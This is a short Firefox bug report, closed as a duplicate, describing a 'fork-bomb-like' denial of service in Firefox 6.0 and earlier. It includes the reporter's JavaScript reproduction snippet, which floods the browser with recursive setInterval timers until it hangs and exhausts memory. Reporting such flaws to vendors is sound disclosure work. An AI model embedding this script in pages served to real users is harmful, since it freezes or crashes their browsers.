Closed Bug 679652 Opened 13 years ago Closed 13 years ago

Mozilla Firefox <= 6.0 "Fork-Bomb-Like" Denial Of Service

Categories

(Firefox :: General, defect)

6 Branch
x86
Windows Vista
defect
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 335256

People

(Reporter: marcin.probola, Unassigned)

Details

User Agent: Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.9.168 Version/11.50 Steps to reproduce: Run below script: <script type="text/javascript"> function x(){for(var r=0;r<100000;r++){var e=setInterval("x()",1);}}var d=setInterval("x()",1); </script> Actual results: Executing below script cause Mozilla Firefox process hangs and starts consuming a lot of memory, which can lead to crash. Expected results: I guess script should be killed.
Status: UNCONFIRMED → RESOLVED
Closed: 13 years ago
Resolution: --- → DUPLICATE
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